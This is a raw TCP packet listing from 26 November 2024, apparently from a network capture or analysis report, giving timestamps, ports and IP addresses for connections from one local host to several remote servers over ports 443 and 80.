Nov 26, 2024 22:52:32.795177937 CET	443	49761	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:32.795248032 CET	443	49761	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:32.795289040 CET	49761	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:32.795438051 CET	49761	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:32.795455933 CET	443	49761	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:32.795465946 CET	49761	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:32.795470953 CET	443	49761	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:32.798638105 CET	49774	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:32.798688889 CET	443	49774	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:32.798752069 CET	49774	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:32.798902035 CET	49774	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:32.798914909 CET	443	49774	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:32.853925943 CET	80	49766	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:32.853981018 CET	49766	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:32.890410900 CET	443	49767	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:32.905663967 CET	49767	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:32.905685902 CET	443	49767	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:32.909327030 CET	49767	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:32.909334898 CET	443	49767	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:32.979652882 CET	443	49763	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:32.979726076 CET	443	49763	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:32.979770899 CET	49763	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:32.993356943 CET	49763	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:32.993391037 CET	443	49763	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:32.993402958 CET	49763	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:32.993410110 CET	443	49763	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:33.007251978 CET	49775	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:33.007306099 CET	443	49775	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:33.007369995 CET	49775	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:33.007847071 CET	49775	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:33.007859945 CET	443	49775	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:33.009049892 CET	443	49769	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:33.009421110 CET	49769	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:33.009448051 CET	443	49769	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:33.009996891 CET	49769	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:33.010004044 CET	443	49769	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:33.064404011 CET	49758	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:33.064899921 CET	49770	443	192.168.2.7	172.217.17.78
Nov 26, 2024 22:52:33.078593016 CET	49766	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:33.198681116 CET	80	49766	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:33.344046116 CET	443	49767	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:33.344132900 CET	443	49767	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:33.344187975 CET	49767	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:33.344332933 CET	49767	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:33.344332933 CET	49767	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:33.344357967 CET	443	49767	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:33.344367981 CET	443	49767	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:33.348179102 CET	49776	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:33.348216057 CET	443	49776	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:33.348278999 CET	49776	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:33.348463058 CET	49776	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:33.348474026 CET	443	49776	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:33.450398922 CET	443	49769	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:33.450475931 CET	443	49769	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:33.450526953 CET	49769	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:33.450685024 CET	49769	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:33.450700045 CET	443	49769	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:33.450711012 CET	49769	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:33.450716019 CET	443	49769	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:33.453509092 CET	49777	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:33.453546047 CET	443	49777	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:33.453624964 CET	49777	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:33.453845024 CET	49777	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:33.453852892 CET	443	49777	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:34.004004955 CET	443	49772	23.218.208.109	192.168.2.7
Nov 26, 2024 22:52:34.004209042 CET	49772	443	192.168.2.7	23.218.208.109
Nov 26, 2024 22:52:34.005678892 CET	49772	443	192.168.2.7	23.218.208.109
Nov 26, 2024 22:52:34.005688906 CET	443	49772	23.218.208.109	192.168.2.7
Nov 26, 2024 22:52:34.006031990 CET	443	49772	23.218.208.109	192.168.2.7
Nov 26, 2024 22:52:34.009813070 CET	49772	443	192.168.2.7	23.218.208.109
Nov 26, 2024 22:52:34.032957077 CET	80	49766	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:34.033097029 CET	49766	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:34.055324078 CET	443	49772	23.218.208.109	192.168.2.7
Nov 26, 2024 22:52:34.538830996 CET	443	49773	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:34.539499998 CET	49773	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:34.539522886 CET	443	49773	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:34.539993048 CET	49773	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:34.540000916 CET	443	49773	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:34.548959017 CET	443	49772	23.218.208.109	192.168.2.7
Nov 26, 2024 22:52:34.549062014 CET	443	49772	23.218.208.109	192.168.2.7
Nov 26, 2024 22:52:34.549616098 CET	49772	443	192.168.2.7	23.218.208.109
Nov 26, 2024 22:52:34.554635048 CET	49772	443	192.168.2.7	23.218.208.109
Nov 26, 2024 22:52:34.554656029 CET	443	49772	23.218.208.109	192.168.2.7
Nov 26, 2024 22:52:34.594383001 CET	443	49774	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:34.594983101 CET	49774	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:34.595011950 CET	443	49774	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:34.595472097 CET	49774	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:34.595478058 CET	443	49774	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:34.808041096 CET	443	49775	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:34.827672958 CET	49775	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:34.827702999 CET	443	49775	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:34.828126907 CET	49775	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:34.828130960 CET	443	49775	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.012187004 CET	443	49773	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.012253046 CET	443	49773	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.012332916 CET	49773	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:35.017256021 CET	49773	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:35.017263889 CET	443	49773	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.017283916 CET	49773	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:35.017287970 CET	443	49773	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.033498049 CET	49778	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:35.033543110 CET	443	49778	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.033613920 CET	49778	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:35.033962965 CET	49778	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:35.033972979 CET	443	49778	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.131407022 CET	443	49774	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.131481886 CET	443	49774	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.131525040 CET	49774	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:35.131753922 CET	49774	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:35.131772995 CET	443	49774	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.131787062 CET	49774	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:35.131792068 CET	443	49774	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.144653082 CET	443	49776	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.174645901 CET	49776	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:35.174671888 CET	443	49776	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.175472021 CET	49776	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:35.175477982 CET	443	49776	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.334944963 CET	443	49777	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.335633993 CET	443	49775	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.335712910 CET	443	49775	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.336052895 CET	49775	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:35.379726887 CET	49777	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:35.397427082 CET	49777	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:35.397454977 CET	443	49777	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.397878885 CET	49777	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:35.397886992 CET	443	49777	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.398614883 CET	49775	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:35.398668051 CET	443	49775	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.398684025 CET	49775	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:35.398691893 CET	443	49775	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.436280012 CET	49779	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:35.436352015 CET	443	49779	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.436413050 CET	49779	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:35.457489014 CET	49779	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:35.457528114 CET	443	49779	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.477072954 CET	49780	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:35.477128029 CET	443	49780	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.477191925 CET	49780	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:35.479367971 CET	49780	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:35.479384899 CET	443	49780	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.588821888 CET	443	49776	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.588893890 CET	443	49776	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.588958979 CET	49776	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:35.708683014 CET	49776	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:35.708683014 CET	49776	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:35.708725929 CET	443	49776	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.708739996 CET	443	49776	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.779346943 CET	443	49777	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.779424906 CET	443	49777	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.779488087 CET	49777	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:35.934551001 CET	49777	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:35.934595108 CET	443	49777	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:35.934613943 CET	49777	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:35.934623957 CET	443	49777	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:36.291769028 CET	49781	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:36.291821957 CET	443	49781	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:36.292092085 CET	49781	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:36.312937975 CET	49781	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:36.312968016 CET	443	49781	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:36.437213898 CET	49782	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:36.437273026 CET	443	49782	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:36.437468052 CET	49782	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:36.519203901 CET	49782	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:36.519227982 CET	443	49782	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:36.893403053 CET	443	49778	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:36.937953949 CET	49778	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:37.183723927 CET	49778	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:37.183763027 CET	443	49778	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:37.184447050 CET	49778	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:37.184453011 CET	443	49778	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:37.188968897 CET	443	49779	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:37.189690113 CET	49779	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:37.189727068 CET	443	49779	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:37.190170050 CET	49779	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:37.190181971 CET	443	49779	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:37.216530085 CET	443	49780	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:37.217262030 CET	49780	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:37.217295885 CET	443	49780	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:37.218045950 CET	49780	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:37.218050957 CET	443	49780	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:37.521955967 CET	443	49778	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:37.522072077 CET	443	49778	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:37.522139072 CET	49778	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:37.617671013 CET	49778	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:37.617700100 CET	443	49778	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:37.617719889 CET	49778	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:37.617726088 CET	443	49778	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:37.628173113 CET	443	49779	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:37.628261089 CET	443	49779	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:37.628349066 CET	49779	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:37.652245998 CET	49779	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:37.652266979 CET	443	49779	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:37.653815985 CET	443	49780	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:37.653913975 CET	443	49780	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:37.654156923 CET	49780	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:37.778429031 CET	49780	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:37.778469086 CET	443	49780	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:37.828530073 CET	49789	443	192.168.2.7	94.245.104.56
Nov 26, 2024 22:52:37.828571081 CET	443	49789	94.245.104.56	192.168.2.7
Nov 26, 2024 22:52:37.828628063 CET	49789	443	192.168.2.7	94.245.104.56
Nov 26, 2024 22:52:37.828890085 CET	49789	443	192.168.2.7	94.245.104.56
Nov 26, 2024 22:52:37.828900099 CET	443	49789	94.245.104.56	192.168.2.7
Nov 26, 2024 22:52:37.839112043 CET	49790	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:37.839148998 CET	443	49790	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:37.839344025 CET	49790	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:37.899728060 CET	49791	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:37.899782896 CET	443	49791	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:37.899936914 CET	49791	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:37.902527094 CET	49790	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:37.902548075 CET	443	49790	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:37.909019947 CET	49791	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:37.909035921 CET	443	49791	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:37.951555967 CET	49792	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:37.951611042 CET	443	49792	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:37.951742887 CET	49792	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:37.954883099 CET	49792	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:37.954902887 CET	443	49792	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:38.162913084 CET	443	49781	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:38.207151890 CET	49781	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:38.208216906 CET	49781	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:38.208229065 CET	443	49781	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:38.208677053 CET	49781	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:38.208682060 CET	443	49781	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:38.326900959 CET	443	49782	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:38.332904100 CET	49782	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:38.332938910 CET	443	49782	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:38.335310936 CET	49782	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:38.335330963 CET	443	49782	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:38.617469072 CET	443	49781	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:38.617547035 CET	443	49781	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:38.617607117 CET	49781	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:38.636666059 CET	49794	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:38.636714935 CET	443	49794	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:38.636899948 CET	49794	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:38.639693975 CET	49794	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:38.639703989 CET	443	49794	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:38.673665047 CET	49781	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:38.673683882 CET	443	49781	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:38.673696041 CET	49781	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:38.673702002 CET	443	49781	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:38.902786970 CET	49795	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:38.902832985 CET	443	49795	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:38.902925968 CET	49795	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:38.908575058 CET	49795	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:38.908586979 CET	443	49795	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:39.036170006 CET	80	49766	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:39.036227942 CET	49766	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:39.592389107 CET	443	49789	94.245.104.56	192.168.2.7
Nov 26, 2024 22:52:39.627213001 CET	443	49791	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:39.672132969 CET	443	49792	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:39.710853100 CET	49789	443	192.168.2.7	94.245.104.56
Nov 26, 2024 22:52:39.710971117 CET	49791	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:39.748056889 CET	443	49790	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:39.811053991 CET	49792	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:39.811218977 CET	49790	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:39.825764894 CET	49789	443	192.168.2.7	94.245.104.56
Nov 26, 2024 22:52:39.825797081 CET	443	49789	94.245.104.56	192.168.2.7
Nov 26, 2024 22:52:39.829740047 CET	443	49789	94.245.104.56	192.168.2.7
Nov 26, 2024 22:52:39.829787016 CET	443	49789	94.245.104.56	192.168.2.7
Nov 26, 2024 22:52:39.829819918 CET	49789	443	192.168.2.7	94.245.104.56
Nov 26, 2024 22:52:39.842150927 CET	49789	443	192.168.2.7	94.245.104.56
Nov 26, 2024 22:52:39.842526913 CET	443	49789	94.245.104.56	192.168.2.7
Nov 26, 2024 22:52:39.842983961 CET	49789	443	192.168.2.7	94.245.104.56
Nov 26, 2024 22:52:39.842998028 CET	443	49789	94.245.104.56	192.168.2.7
Nov 26, 2024 22:52:39.876122952 CET	49791	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:39.876154900 CET	443	49791	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:39.876655102 CET	49791	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:39.876661062 CET	443	49791	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:39.876998901 CET	49792	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:39.877016068 CET	443	49792	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:39.877379894 CET	49792	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:39.877386093 CET	443	49792	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:39.877852917 CET	49790	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:39.877866030 CET	443	49790	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:39.878304958 CET	49790	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:39.878309965 CET	443	49790	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:39.913887978 CET	49789	443	192.168.2.7	94.245.104.56
Nov 26, 2024 22:52:39.945259094 CET	49766	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:39.945596933 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:40.065511942 CET	80	49766	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:40.065634012 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:40.065838099 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:40.076265097 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:40.076265097 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:40.143810987 CET	49803	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:40.143852949 CET	443	49803	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:40.144054890 CET	49803	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:40.144380093 CET	49803	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:40.144391060 CET	443	49803	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:40.193238020 CET	443	49792	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:40.193332911 CET	443	49792	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:40.193630934 CET	49792	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:40.194149017 CET	443	49791	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:40.194220066 CET	443	49791	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:40.194268942 CET	49791	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:40.196346998 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:40.196360111 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:40.196482897 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:40.196504116 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:40.210491896 CET	49792	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:40.210536003 CET	443	49792	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:40.210551977 CET	49792	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:40.210560083 CET	443	49792	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:40.211534023 CET	49791	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:40.211558104 CET	443	49791	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:40.211576939 CET	49791	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:40.211582899 CET	443	49791	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:40.212352991 CET	443	49790	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:40.212421894 CET	443	49790	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:40.212497950 CET	49790	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:40.219338894 CET	49804	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:40.219400883 CET	443	49804	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:40.219913006 CET	49804	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:40.228111029 CET	443	49789	94.245.104.56	192.168.2.7
Nov 26, 2024 22:52:40.228283882 CET	443	49789	94.245.104.56	192.168.2.7
Nov 26, 2024 22:52:40.228333950 CET	49789	443	192.168.2.7	94.245.104.56
Nov 26, 2024 22:52:40.231787920 CET	49790	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:40.231787920 CET	49790	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:40.231808901 CET	443	49790	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:40.231820107 CET	443	49790	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:40.240731955 CET	49804	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:40.240767956 CET	443	49804	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:40.241456985 CET	49789	443	192.168.2.7	94.245.104.56
Nov 26, 2024 22:52:40.241496086 CET	443	49789	94.245.104.56	192.168.2.7
Nov 26, 2024 22:52:40.253601074 CET	49805	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:40.253650904 CET	443	49805	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:40.253726006 CET	49805	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:40.254091978 CET	49806	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:40.254148960 CET	443	49806	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:40.254275084 CET	49806	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:40.254417896 CET	49806	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:40.254432917 CET	443	49806	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:40.254868984 CET	49805	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:40.254880905 CET	443	49805	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:40.468466997 CET	443	49794	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:40.468553066 CET	49794	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:40.523375988 CET	49794	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:40.523415089 CET	443	49794	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:40.523767948 CET	443	49794	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:40.525191069 CET	49794	443	192.168.2.7	20.190.177.146
